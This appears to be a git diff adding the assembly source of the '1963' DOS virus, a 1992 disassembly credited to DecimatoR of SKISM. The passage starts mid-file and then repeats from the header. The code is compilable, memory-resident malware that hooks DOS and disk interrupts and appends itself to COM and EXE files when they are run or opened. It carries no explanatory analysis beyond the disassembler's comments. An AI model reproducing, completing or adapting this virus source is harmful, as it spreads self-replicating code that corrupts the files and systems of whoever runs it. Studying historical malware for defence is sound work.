(4816:0100=0FFh) + mov cx,es:[di+11h] + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + jc loc_4 ; Jump if carry Set + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov ah,26h ; '&' + mov dx,ds + int 21h ; DOS Services ah=function 26h + ; create progm seg prefix dx + dec dx + mov es,dx + mov es:data_14e,ds ; (4815:0001=0FFFFh) + inc dx + mov es,dx + mov ss,dx + mov sp,0FFFEh + push ds + mov ax,100h + push ax + retf ; Return far + +virus endp + +; +; SUBROUTINE +; + +sub_1 proc near + push ds + mov ax,1203h + int 2Fh ; Multiplex/Spooler al=func 03h + ; remove all files from queue + mov cs:data_51e,ds ; (8344:0904=8344h) + xor si,si ; Zero register + mov ds,si + mov di,288h + mov si,cs + xchg di,ds:data_1e ; (0000:0004=7FBh) + xchg si,ds:data_2e ; (0000:0006=70h) + pushf ; Push flags + pushf ; Push flags + pushf ; Push flags + mov bp,sp + or byte ptr [bp+1],1 + popf ; Pop flags + pushf ; Push flags + pushf ; Push flags + mov word ptr cs:data_52e,8AFh ; (8344:0906=0) + mov ah,1 + call dword ptr ds:data_3e ; (0000:004C=2288h) + popf ; Pop flags + mov word ptr cs:data_52e,8ABh ; (8344:0906=0) + mov ah,0Bh + call dword ptr ds:data_4e ; (0000:0084=1716h) + popf ; Pop flags + mov ds:data_1e,di ; (0000:0004=7FBh) + mov ds:data_2e,si ; (0000:0006=70h) + pop ds + push ds + push es + mov bx,cs + mov bp,2AEh + mov ax,ds:data_9e ; (0046:08AB=4146h) + mov dx,ds:data_10e ; (0046:08AD=3154h) + xor si,si ; Zero register + mov ds,si + cmp ax,ds:data_4e ; (0000:0084=1716h) + jne loc_6 ; Jump if not equal + cmp dx,word ptr ds:data_4e+2 ; (0000:0086=2C7h) + jne loc_6 ; Jump if not equal + mov ds:data_4e,bp ; (0000:0084=1716h) + mov word ptr ds:data_4e+2,bx ; (0000:0086=2C7h) + jmp short loc_10 ; (0285) +loc_6: + mov ax,8ABh + mov es,bx + mov cx,10h + cld ; Clear direction + +locloop_7: + mov di,ax + mov ds,dx + cmpsw ; Cmp [si] to es:[di] + jnz loc_9 ; Jump if not zero + cmpsw ; Cmp [si] to es:[di] + jnz loc_8 ; Jump if not zero + mov [si-4],bp + mov [si-2],bx +loc_8: + dec si + dec si +loc_9: + dec si + loop locloop_7 ; Loop if cx > 0 + + xchg si,cx + inc dx + cmp dx,bx + jne locloop_7 ; Jump if not equal +loc_10: + pop es + pop ds + retn +sub_1 endp + + push bp + mov bp,sp + push ax + mov ax,[bp+4] + cmp ax,cs:data_51e ; (8344:0904=8344h) + ja loc_11 ; Jump if above + push bx + mov bx,cs:data_52e ; (8344:0906=0) + mov cs:[bx+2],ax + mov ax,[bp+2] + mov cs:[bx],ax + and byte ptr [bp+7],0FEh + pop bx +loc_11: + pop ax + pop bp + iret ; Interrupt return + db 55h, 8Bh,0ECh, 80h,0FCh, 48h + db 74h, 0Ah, 80h,0FCh, 4Ah, 74h + db 05h, 3Dh, 03h, 4Bh, 75h, 0Ch + db 0E8h, 89h, 05h,0E8h,0AFh, 05h + db 9Ch,0E8h, 87h, 05h,0EBh, 55h + db 80h,0FCh, 31h, 74h, 05h, 80h + db 0FCh + db 4Ch, 75h, 0Dh +loc_12: + push bx + mov bx,13h +loc_13: + call sub_5 ; (0532) + dec bx + jns loc_13 ; Jump if not sign + pop bx + jmp short loc_23 ; (0342) +loc_14: + cmp ah,0Fh + je loc_15 ; Jump if equal + cmp ah,10h + je loc_15 ; Jump if equal + cmp ah,17h + je loc_15 ; Jump if equal + cmp ah,23h ; '#' + jne loc_16 ; Jump if not equal +loc_15: + call sub_15 ; (081F) + jmp short loc_23 ; (0342) +loc_16: + cmp ah,3Fh ; '?' + jne loc_20 ; Jump if not equal + call sub_5 ; (0532) + jnc loc_18 ; Jump if carry=0 + mov ax,5 +loc_17: + jmp loc_37 ; (0403) +loc_18: + jnz loc_23 ; Jump if not zero + call sub_22 ; (0875) + jc loc_17 ; Jump if carry Set + pushf ; Push flags + call sub_24 ; (0884) + push ds + pop es + mov di,dx + call sub_11 ; (0785) + call sub_25 ; (0896) +loc_19: + popf ; Pop flags + pop bp + retf 2 ; Return far +loc_20: + cmp ah,3Dh ; '=' + je loc_21 ; Jump if equal + cmp ah,43h ; 'C' + je loc_21 ; Jump if equal + cmp ah,56h ; 'V' + jne loc_22 ; Jump if not equal +loc_21: + call sub_3 ; (0519) + jmp short loc_23 ; (0342) +loc_22: + cmp ah,3Eh ; '>' + jne loc_24 ; Jump if not equal + call sub_5 ; (0532) +loc_23: + push word ptr [bp+6] + popf ; Pop flags + pop bp + cli ; Disable interrupts + jmp dword ptr cs:data_20 ; (8344:08AB=0) +loc_24: + cmp ah,14h + je loc_25 ; Jump if equal + cmp ah,21h ; '!' + je loc_25 ; Jump if equal + cmp ah,27h ; ''' + je loc_25 ; Jump if equal + jmp loc_35 ; (03DE) +loc_25: + call sub_15 ; (081F) + jnc loc_27 ; Jump if carry=0 +loc_26: + pop bp + mov al,1 + iret ; Interrupt return +loc_27: + jnz loc_23 ; Jump if not zero + call sub_24 ; (0884) + call sub_14 ; (0814) + cmp ah,14h + jne loc_28 ; Jump if not equal + mov ax,[si+0Ch] + mov dx,80h + mul dx ; dx:ax = reg * ax + xor bx,bx ; Zero register + add al,[si+20h] + adc ah,bl + adc bx,dx + xchg ax,bx + jmp short loc_29 ; (038F) +loc_28: + mov ax,[si+23h] + mov bx,[si+21h] +loc_29: + mov cx,[si+0Eh] + mul cx ; dx:ax = reg * ax + jnc loc_31 ; Jump if carry=0 +loc_30: + call sub_25 ; (0896) + jmp short loc_26 ; (0364) +loc_31: + xchg ax,bx + mul cx ; dx:ax = reg * ax + add dx,bx + jc loc_30 ; Jump if carry Set + mov cs:data_37,ax ; (8344:08D0=0) + mov cs:data_38,dx ; (8344:08D2=0) + mov cs:data_39,cx ; (8344:08D4=0) + call sub_25 ; (0896) + call sub_22 ; (0875) + or al,al ; Zero ? + jz loc_32 ; Jump if zero + cmp al,3 + jne loc_34 ; Jump if not equal +loc_32: + call sub_24 ; (0884) + cmp ah,27h ; ''' + mov ax,cs:data_39 ; (8344:08D4=0) + jnz loc_33 ; Jump if not zero + mul cx ; dx:ax = reg * ax + jc loc_30 ; Jump if carry Set +loc_33: + push ax + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov di,bx + pop ax + call sub_11 ; (0785) + call sub_25 ; (0896) +loc_34: + pop bp + iret ; Interrupt return +loc_35: + cmp ax,4B00h + je loc_38 ; Jump if equal + cmp ax,4B01h + je loc_36 ; Jump if equal + jmp loc_23 ; (0342) +loc_36: + call sub_2 ; (042F) + jc loc_37 ; Jump if carry Set + push si + push di + push ds + push cs + pop ds + mov si,offset data_41 ; (8344:08E2=0) + lea di,[bx+0Eh] ; Load effective addr + cld ; Clear direction + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + pop ds + pop di + pop si +loc_37: + pushf ; Push flags + shr byte ptr [bp+6],1 ; Shift w/zeros fill + popf ; Pop flags + rcl byte ptr [bp+6],1 ; Rotate thru carry + pop bp + iret ; Interrupt return +loc_38: + call sub_2 ; (042F) + jc loc_37 ; Jump if carry Set + push ax + mov ah,51h ; 'Q' + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + mov ds,bx + mov es,bx + pop ax + cli ; Disable interrupts + mov sp,cs:data_41 ; (8344:08E2=0) + mov ss,cs:data_42 ; (8344:08E4=0) + inc sp + inc sp + sti ; Enable interrupts + jmp dword ptr cs:data_43 ; (8344:08E6=0) + +; +; SUBROUTINE +; + +sub_2 proc near + call sub_24 ; (0884) + stc ; Set carry flag + call sub_4 ; (051A) +loc_39: + mov ax,0Bh + jc loc_40 ; Jump if carry Set + cld ; Clear direction + pushf ; Push flags + push ds + mov ax,3522h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov cs:data_24,bx ; (8344:08B7=0) + mov word ptr cs:data_24+2,es ; (8344:08B9=8344h) + lds si,dword ptr [bp+0Ah] ; Load 32 bit ptr + push cs + pop es + mov di,offset data_39 ; (8344:08D4=0) + mov bx,di + mov cx,7 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + pop ds + call sub_16 ; (084C) + push dx + mov ax,4B01h + call sub_23 ; (0879) + pop dx + call sub_17 ; (0851) + jnc loc_42 ; Jump if carry=0 +loc_40: + mov [bp+8],ax +loc_41: + call sub_25 ; (0896) + retn +loc_42: + mov [bp+8],ax + mov ah,51h ; 'Q' + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + mov es,bx + mov si,[bp] + lds dx,dword ptr ss:[si+2] ; Load 32 bit ptr + mov es:data_11e,dx ; (08D4:000A=2F9h) + mov es:data_12e,ds ; (08D4:000C=3872h) + mov ax,2522h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + popf ; Pop flags + jnz loc_41 ; Jump if not zero + push cs + pop ds + mov si,data_51e ; (8344:0904=44h) + mov di,data_13e ; (08D4:0100=0DFh) + mov cx,7ABh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_7 ; (0758) + jz loc_44 ; Jump if zero +loc_43: + clc ; Clear carry flag + jmp short loc_41 ; (0470) +loc_44: + mov di,bx + add di,10h + mov ax,ds:data_55e ; (8344:10B1=0) + mov word ptr data_43,ax ; (8344:08E6=0) + mov ax,ds:data_56e ; (8344:10B3=0) + add ax,di + mov word ptr data_43+2,ax ; (8344:08E8=0) + mov cx,ds:data_54e ; (8344:10AF=0) + or cx,cx ; Zero ? + jz loc_43 ; Jump if zero + lds dx,dword ptr [bp+0Eh] ; Load 32 bit ptr + call sub_18 ; (0862) + jc loc_47 ; Jump if carry Set + mov bx,ax + push cx + push cs + pop ds + xor cx,cx ; Zero register + mov dx,ds:data_50e ; (8344:0902=0) + call sub_20 ; (086B) + mov dx,904h + pop cx + +locloop_45: + push cx + mov cx,4 + call sub_8 ; (0764) + pop cx + jc loc_46 ; Jump if carry Set + mov si,dx + push ds + mov ax,[si+2] + mov si,[si] + add ax,di + mov ds,ax + add [si],di + pop ds + loop locloop_45 ; Loop if cx > 0 + + call sub_19 ; (0867) + jmp short loc_43 ; (04A8) +loc_46: + call sub_19 ; (0867) +loc_47: + push es + pop ds + les bx,dword ptr cs:data_24 ; (8344:08B7=0) Load 32 bit ptr + mov ds:data_17e,bx ; (8344:000A=0) + mov ds:data_18e,es ; (8344:000E=8344h) + call sub_13 ; (07EC) + stc ; Set carry flag + jmp loc_39 ; (0436) +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + clc ; Clear carry flag + +; External Entry into Subroutine + +sub_4: + push ax + push bx + pushf ; Push flags + call sub_18 ; (0862) + jc loc_48 ; Jump if carry Set + mov bx,ax + popf ; Pop flags + pushf ; Push flags + call sub_6 ; (0533) + pushf ; Push flags + call sub_19 ; (0867) + popf ; Pop flags +loc_48: + pop bx + pop bx + pop ax + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + clc ; Clear carry flag + +; External Entry into Subroutine + +sub_6: + cld ; Clear direction + call sub_24 ; (0884) + pushf ; Push flags + push bx + mov ax,1220h + int 2Fh ; ??INT Non-standard interrupt. + jc loc_49 ; Jump if carry Set + xor bh,bh ; Zero register + mov bl,es:[di] + mov ax,1216h + int 2Fh ; ??INT Non-standard interrupt. + jnc loc_50 ; Jump if carry=0 +loc_49: + call sub_25 ; (0896) + retn +loc_50: + push es + push cs + pop ds + mov ax,3523h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_26,bx ; (8344:08BB=0) + mov word ptr data_26+2,es ; (8344:08BD=8344h) + inc ax + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_28,bx ; (8344:08BF=0) + mov word ptr data_28+2,es ; (8344:08C1=8344h) + mov ah,25h ; '%' + mov dx,offset int_24h_entry + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + dec ax + inc dx + inc dx + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop es + pop bx + mov al,2 + xchg al,es:[di+2] + mov data_33,al ; (8344:08C9=0) + mov ax,es:[di+5] + mov data_34,ax ; (8344:08CA=0) + mov ax,es:[di+15h] + mov data_37,ax ; (8344:08D0=0) + mov ax,es:[di+17h] + mov data_38,ax ; (8344:08D2=0) + mov ax,es:[di+11h] + mov dx,es:[di+13h] + mov data_35,ax ; (8344:08CC=0) + mov data_36,dx ; (8344:08CE=0) + cmp ax,1Ah + sbb dx,0 + jc loc_55 ; Jump if carry Set + popf ; Pop flags + jc loc_52 ; Jump if carry Set + mov ax,es:[di+28h] + cmp ax,5845h + je loc_51 ; Jump if equal + cmp ax,4F43h + jne loc_55 ; Jump if not equal + mov al,4Dh ; 'M' +loc_51: + cmp al,es:[di+2Ah] + jne loc_55 ; Jump if not equal +loc_52: + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_20 ; (086B) + mov dx,8EAh + mov cl,1Ah + call sub_8 ; (0764) + jc loc_57 ; Jump if carry Set + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_7 ; (0758) + jnz loc_53 ; Jump if not zero + mov ax,data_47 ; (8344:08F2=0) + mov dl,10h + mul dx ; dx:ax = reg * ax + mov cx,dx + mov dx,ax +loc_53: + push cx + push dx + add dx,7ABh + adc cx,0 + cmp cx,data_36 ; (8344:08CE=0) + jne loc_54 ; Jump if not equal + cmp dx,data_35 ; (8344:08CC=0) +loc_54: + pop dx + pop cx + jbe loc_56 ; Jump if below or = +loc_55: + jmp short loc_62 ; (065D) +loc_56: + push cx + push dx + call sub_20 ; (086B) + mov dx,904h + mov cx,7ABh + call sub_8 ; (0764) + jnc loc_58 ; Jump if carry=0 +loc_57: + jmp short loc_60 ; (0656) +loc_58: + push es + push di + push cs + pop es + mov si,data_53e ; (8344:09EF=0) + mov di,offset ds:[1EBh] ; (8344:01EB=1Eh) + mov cx,0C3h + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop di + pop es + jnz loc_65 ; Jump if not zero + mov dx,cx + call sub_21 ; (0870) + mov cx,7ADh + mov dx,904h + call sub_7 ; (0758) + jnz loc_59 ; Jump if not zero + add cx,6 +loc_59: + add es:[di+11h],cx + adc word ptr es:[di+13h],0 + call sub_8 ; (0764) + jc loc_60 ; Jump if carry Set + mov si,dx + dec cx + dec cx + call sub_10 ; (0778) + cmp dx,[si] + je loc_61 ; Jump if equal +loc_60: + stc ; Set carry flag + jmp short loc_63 ; (0661) +loc_61: + cmp al,al + jmp short loc_63 ; (0661) +loc_62: + mov al,1 + cmp al,0 +loc_63: + pushf ; Push flags +loc_64: + mov si,offset data_33 ; (8344:08C9=0) + cld ; Clear direction + inc di + inc di + movsb ; Mov [si] to es:[di] + inc di + inc di + movsw ; Mov [si] to es:[di] + add di,0Ah + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov ax,2524h + lds dx,dword ptr data_28 ; (8344:08BF=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + dec ax + lds dx,dword ptr cs:data_26 ; (8344:08BB=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + popf ; Pop flags + call sub_25 ; (0896) + retn +loc_65: + test byte ptr es:[di+4],4 + jnz loc_62 ; Jump if not zero + mov ah,0Dh + int 21h ; DOS Services ah=function 0Dh + ; flush disk buffers to disk + push bx + push ds + push es + mov ax,3540h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_30,bx ; (8344:08C3=0) + mov word ptr data_30+2,es ; (8344:08C5=8344h) + mov al,13h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_22,bx ; (8344:08B3=0) + mov word ptr data_22+2,es ; (8344:08B5=8344h) + mov ah,25h ; '%' + lds dx,data_21 ; (8344:08AF=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov al,40h ; '@' +;* mov dx,offset loc_85 ;* + db 0BAh, 59h,0ECh + mov bx,0F000h + mov ds,bx + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop es + pop ds + pop bx + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_21 ; (0870) + mov cx,7ABh + mov si,904h + call sub_7 ; (0758) + jnz loc_66 ; Jump if not zero + add cx,6 + mov ax,data_46 ; (8344:08F0=0) + mov ds:data_54e,ax ; (8344:10AF=0) + mov ax,data_48 ; (8344:08FE=0) + mov ds:data_55e,ax ; (8344:10B1=0) + mov ax,ds:data_49e ; (8344:0900=0) + mov ds:data_56e,ax ; (8344:10B3=0) +loc_66: + push si + call sub_10 ; (0778) + mov [si],dx + pop dx + inc cx + inc cx + call sub_9 ; (076E) + jc loc_68 ; Jump if carry Set + pop dx + pop cx + call sub_20 ; (086B) + mov dx,100h + mov cx,7ABh + call sub_9 ; (076E) + jc loc_69 ; Jump if carry Set + call sub_7 ; (0758) + jnz loc_67 ; Jump if not zero + xor cx,cx ; Zero register + mov data_46,cx ; (8344:08F0=0) + mov data_48,dx ; (8344:08FE=0) + mov word ptr ds:data_49e,0FFF0h ; (8344:0900=0) + xor dx,dx ; Zero register + call sub_20 ; (086B) + mov dx,8EAh + mov cx,1Ah + call sub_9 ; (076E) + jc loc_69 ; Jump if carry Set +loc_67: + cmp al,al + jmp short loc_70 ; (073C) +loc_68: + mov al,1 + cmp al,0 + jmp short loc_70 ; (073C) +loc_69: + stc ; Set carry flag +loc_70: + pushf ; Push flags + mov ah,0Dh + int 21h ; DOS Services ah=function 0Dh + ; flush disk buffers to disk + push ds + mov ax,2513h + lds dx,dword ptr data_22 ; (8344:08B3=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov al,40h ; '@' + lds dx,dword ptr cs:data_30 ; (8344:08C3=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + jmp loc_64 ; (0662) +sub_5 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + mov ax,data_45 ; (8344:08EA=0) + cmp ax,5A4Dh + je loc_ret_71 ; Jump if equal + cmp ax,4D5Ah + +loc_ret_71: + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + mov ah,3Fh ; '?' + call sub_23 ; (0879) + jc loc_ret_72 ; Jump if carry Set + cmp ax,cx + +loc_ret_72: + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + mov ah,40h ; '@' + call sub_23 ; (0879) + jc loc_ret_73 ; Jump if carry Set + cmp ax,cx + +loc_ret_73: + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + push cx + xor dx,dx ; Zero register + +locloop_74: + lodsb ; String [si] to al + add dl,al + adc dh,0 + loop locloop_74 ; Loop if cx > 0 + + pop cx + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + push cs + pop ds + mov si,904h + mov bx,ax + mov cx,7ABh + call sub_7 ; (0758) + jnz loc_75 ; Jump if not zero + mov ax,data_47 ; (8344:08F2=0) + mov dx,10h + mul dx ; dx:ax = reg * ax + push bx + push di + call sub_12 ; (07BF) + pop di + pop bx + mov si,offset data_45 ; (8344:08EA=0) + mov cx,1Ah + mov ax,ds:data_54e ; (8344:10AF=0) + mov data_46,ax ; (8344:08F0=0) + mov ax,ds:data_55e ; (8344:10B1=0) + mov data_48,ax ; (8344:08FE=0) + mov ax,ds:data_56e ; (8344:10B3=0) + mov ds:data_49e,ax ; (8344:0900=0) +loc_75: + xor ax,ax ; Zero register + xor dx,dx ; Zero register + +; External Entry into Subroutine + +sub_12: + sub ax,data_37 ; (8344:08D0=0) + sbb dx,data_38 ; (8344:08D2=0) + jc loc_76 ; Jump if carry Set + jnz loc_ret_79 ; Jump if not zero + sub bx,ax + jbe loc_ret_79 ; Jump if below or = + add di,ax + jmp short loc_77 ; (07E2) +loc_76: + neg ax + adc dx,0 + neg dx + jnz loc_ret_79 ; Jump if not zero + sub cx,ax + jbe loc_ret_79 ; Jump if below or = + add si,ax +loc_77: + cmp cx,bx + jbe loc_78 ; Jump if below or = + mov cx,bx +loc_78: + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + +loc_ret_79: + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + pushf ; Push flags + call sub_24 ; (0884) + mov ah,49h ; 'I' + push ds + pop es + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ah,49h ; 'I' + mov es,ds:data_8e ; (0046:002C=50h) + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ah,50h ; 'P' + mov bx,ds:data_7e ; (0046:0016=0) + int 21h ; DOS Services ah=function 50h + ; set active PSP segmnt from bx + mov ax,2522h + lds dx,dword ptr ds:data_6e ; (0046:000A=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + call sub_25 ; (0896) + popf ; Pop flags + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + mov si,dx + cmp byte ptr [si],0FFh + jne loc_ret_80 ; Jump if not equal + add si,7 + +loc_ret_80: + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_15 proc near + call sub_24 ; (0884) + call sub_14 ; (0814) + push cs + pop es + mov dx,904h + mov di,dx + cld ; Clear direction + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_81 ; Jump if zero + add al,40h ; '@' + mov ah,3Ah ; ':' + stosw ; Store ax to es:[di] +loc_81: + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov al,2Eh ; '.' + stosb ; Store al to es:[di] + movsw ; Mov [si] to es:[di] + movsb ; Mov [si] to es:[di] + xor al,al ; Zero register + stosb ; Store al to es:[di] + push es + pop ds + call sub_3 ; (0519) + call sub_25 ; (0896) + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + push ax + mov ax,cs + jmp short loc_82 ; (0854) + +; External Entry into Subroutine + +sub_17: + push ax + xor ax,ax ; Zero register +loc_82: + push bx + push ds + mov bx,cs + dec bx + mov ds,bx + mov ds:data_16e,ax ; (8343:0001=0FFFFh) + pop ds + pop bx + pop ax + retn +sub_16 endp + + +; +; SUBROUTINE +; + +sub_18 proc near + mov ax,3D00h + jmp short loc_83 ; (0879) + +; External Entry into Subroutine + +sub_19: + mov ah,3Eh ; '>' + jmp short loc_83 ; (0879) + +; External Entry into Subroutine + +sub_20: + mov ax,4200h + jmp short loc_83 ; (0879) + +; External Entry into Subroutine + +sub_21: + mov ax,4202h + jmp short loc_83 ; (0879) + +; External Entry into Subroutine + +sub_22: + push word ptr [bp+6] + popf ; Pop flags + +; External Entry into Subroutine + +sub_23: +loc_83: + pushf ; Push flags + cli ; Disable interrupts + call dword ptr cs:data_20 ; (8344:08AB=0) + retn +sub_18 endp + + +; +; +; External Entry Point +; +; + +int_24h_entry proc far + mov al,3 +int_24h_entry endp + + +; +; +; External Entry Point +; +; + +int_23h_entry proc far + iret ; Interrupt return +int_23h_entry endp + + +; +; SUBROUTINE +; + +sub_24 proc near + pop cs:data_32 ; (8344:08C7=0) + push ds + push dx + push es + push bx + push ax + push cx + push si + push di + push bp + mov bp,sp + jmp short loc_84 ; (08A6) + +; External Entry into Subroutine + +sub_25: + pop cs:data_32 ; (8344:08C7=0) + mov sp,bp + pop bp + pop di + pop si + pop cx + pop ax + pop bx + pop es + pop dx + pop ds +loc_84: + jmp word ptr cs:data_32 ; (8344:08C7=0) +data_20 dd 00000h +data_21 dd 00000h +data_22 dw 0, 8344h +data_24 dw 0, 8344h +data_26 dw 0, 8344h +data_28 dw 0, 8344h +data_30 dw 0, 8344h +data_32 dw 0 +data_33 db 0 +data_34 dw 0 +data_35 dw 0 +data_36 dw 0 +data_37 dw 0 +data_38 dw 0 +data_39 dw 0 + db 12 dup (0) +data_41 dw 0 +data_42 dw 0 +data_43 dd 00000h +data_45 dw 0 + db 0, 0, 0, 0 +data_46 dw 0 +data_47 dw 0 + db 10 dup (0) +data_48 dw 0 +sub_24 endp + + +seg_a ends + + + + end start + \ No newline at end of file diff --git a/0-9/1963.asm b/0-9/1963.asm new file mode 100755 index 0000000..7449bfa --- /dev/null +++ b/0-9/1963.asm @@ -0,0 +1,1292 @@ + +PAGE 59,132 + +; +; +; 1963 VIRUS +; +; disassembly by +; +; DecimatoR / SKISM +; +; 01/15/92 Compile with TASM 2.0 DW 717-367-3501 +; + +data_1e equ 4 ; (0000:0004=7FBh) +data_2e equ 6 ; (0000:0006=70h) +data_3e equ 4Ch ; (0000:004C=88h) +data_4e equ 84h ; (0000:0084=16h) +data_6e equ 0Ah ; (0046:000A=0) +data_7e equ 16h ; (0046:0016=0) +data_8e equ 2Ch ; (0046:002C=50h) +data_9e equ 8ABh ; (0046:08AB=4146h) +data_10e equ 8ADh ; (0046:08AD=3154h) +data_11e equ 0Ah ; (08D4:000A=2F9h) +data_12e equ 0Ch ; (08D4:000C=3872h) +data_13e equ 100h ; (08D4:0100=0DFh) +data_14e equ 1 ; (4815:0001=0FFFFh) +data_15e equ 100h ; (4816:0100=0FFh) +data_16e equ 1 ; (8343:0001=0FFFFh) +data_17e equ 0Ah ; (8344:000A=0) +data_18e equ 0Eh ; (8344:000E=8344h) +data_49e equ 900h ; (8344:0900=0) +data_50e equ 902h ; (8344:0902=0) +data_51e equ 904h ; (8344:0904=8344h) +data_52e equ 906h ; (8344:0906=0) +data_53e equ 9EFh ; (8344:09EF=0) +data_54e equ 10AFh ; (8344:10AF=0) +data_55e equ 10B1h ; (8344:10B1=0) +data_56e equ 10B3h ; (8344:10B3=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +virus proc far + +start: + mov ah,30h ; '0' + int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + cmp al,3 + jb loc_1 ; Jump if below + mov ax,1200h + int 2Fh ; Multiplex/Spooler al=func 00h + ; get installed status + cmp al,0FFh +loc_1: + mov ax,0Bh + jc loc_4 ; Jump if carry Set + mov ah,4Ah ; 'J' + mov bx,140h + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + jc loc_4 ; Jump if carry Set + cli ; Disable interrupts + push cs + pop ss + mov sp,13FEh + call sub_1 ; (01EB) + sti ; Enable interrupts + mov ax,ds:data_8e ; (0046:002C=50h) + or ax,ax ; Zero ? + jz loc_5 ; Jump if zero + call sub_13 ; (07EC) + mov es,ax + xor di,di ; Zero register + xor ax,ax ; Zero register +loc_2: + scasw ; Scan es:[di] for ax + jnz loc_2 ; Jump if not zero + scasw ; Scan es:[di] for ax + mov dx,di + push es + pop ds + mov ah,48h ; 'H' + mov bx,0FFFFh + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov es,ax + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + xor ax,ax ; Zero register + mov cx,bx + mov bx,es + +locloop_3: + push cx + mov cx,8 + xor di,di ; Zero register + rep stosw ; Rep when cx >0 Store ax to es:[di] + inc bx + mov es,bx + pop cx + loop locloop_3 ; Loop if cx > 0 + + push cs + pop es + mov bx,data_51e ; (8344:0904=44h) + mov di,bx + stosw ; Store ax to es:[di] + mov al,80h + stosw ; Store ax to es:[di] + mov ax,cs + stosw ; Store ax to es:[di] + mov ax,5Ch + stosw ; Store ax to es:[di] + mov ax,cs + stosw ; Store ax to es:[di] + mov ax,6Ch + stosw ; Store ax to es:[di] + mov ax,cs + stosw ; Store ax to es:[di] + mov ax,4B00h + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx +loc_4: + push cs + pop ds + call sub_13 ; (07EC) + jmp dword ptr cs:data_17e ; (8344:000A=0) +loc_5: + mov ax,1220h + mov bx,5 + int 2Fh ; ??INT Non-standard interrupt. + push bx + dec bx + dec bx + mov es:[di],bl + mov ax,1216h + int 2Fh ; ??INT Non-standard interrupt. + dec bx + dec bx + mov es:[di],bx + mov ah,48h ; 'H' + mov bx,0FFFFh + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov ds,ax + pop bx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,3Fh ; '?' + mov dx,data_15e ; (4816:0100=0FFh) + mov cx,es:[di+11h] + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + jc loc_4 ; Jump if carry Set + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov ah,26h ; '&' + mov dx,ds + int 21h ; DOS Services ah=function 26h + ; create progm seg prefix dx + dec dx + mov es,dx + mov es:data_14e,ds ; (4815:0001=0FFFFh) + inc dx + mov es,dx + mov ss,dx + mov sp,0FFFEh + push ds + mov ax,100h + push ax + retf ; Return far + +virus endp + +; +; SUBROUTINE +; + +sub_1 proc near + push ds + mov ax,1203h + int 2Fh ; Multiplex/Spooler al=func 03h 